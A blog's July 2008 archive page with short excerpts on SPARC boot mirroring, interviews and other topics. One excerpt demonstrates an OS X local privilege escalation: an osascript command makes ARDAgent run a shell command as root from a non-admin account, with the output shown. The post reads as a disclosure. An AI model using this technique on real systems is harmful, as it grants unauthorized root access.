Monthly Archives: July 2008

Software vs Hardware boot disk mirroring

One of my pet peeves has been with Sun’s smaller sparc based servers not having simple onboard raid1 mirroring for their boot drives. You have to muck around with a great number of prone-to-fumble-finger commands to both build the mirror, … Continue reading

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Don’t smoke and walk at the same time

Don’t smoke and walk at the same time, originally uploaded by craptastic. Uh, ok. Coordination issues resulting in cigarette-in-eye or just clouds of second hand smoke that people would like to avoid?

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Interview with a Dodo Bird

Do not bring in a one inch thick document that is a copy of your last project at employer X. Do not let the prospective new employer idly flip through it during the interview and see that you did not … Continue reading

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Security escalation w/out password prompt in OS X

You can do this from the Terminal.app on any plain user (no-admin) account : $ osascript -e 'tell application "ARDAgent" to do shell script "touch /foo"' $ ls -olad /foo -rw-rw-rw-  1 root  0 27 Jul 15:15 /foo $ osascript -e 'tell … Continue reading

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. . . or else!

 

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